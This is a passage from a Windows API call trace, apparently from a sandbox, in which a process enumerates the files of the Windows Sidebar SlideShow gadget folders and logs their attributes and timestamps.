nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0261.403] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.403] GetProcessHeap () returned 0x550000 [0261.403] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.403] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0261.404] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.404] GetProcessHeap () returned 0x550000 [0261.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0261.404] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.404] GetProcessHeap () returned 0x550000 [0261.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0ffddc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb0ffddc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0261.404] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0261.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.762] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.762] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0261.763] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="IN_SID~1")) returned 1 [0261.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.765] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.765] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb125f3c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb125f3c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb125f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0261.765] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0261.765] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0261.765] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.766] GetProcessHeap () returned 0x550000 [0261.766] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb14c09c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb14c09c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbadc0a0d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbadc0a0d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1721fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="ON_DES~1")) returned 1 [0261.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.766] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0261.766] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.767] GetProcessHeap () returned 0x550000 [0261.767] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaea5247, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaea5247, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1be4bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaecb3a6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaecb3a6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaef1505, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaef1505, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb20a77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0261.767] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.768] GetProcessHeap () returned 0x550000 [0261.768] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 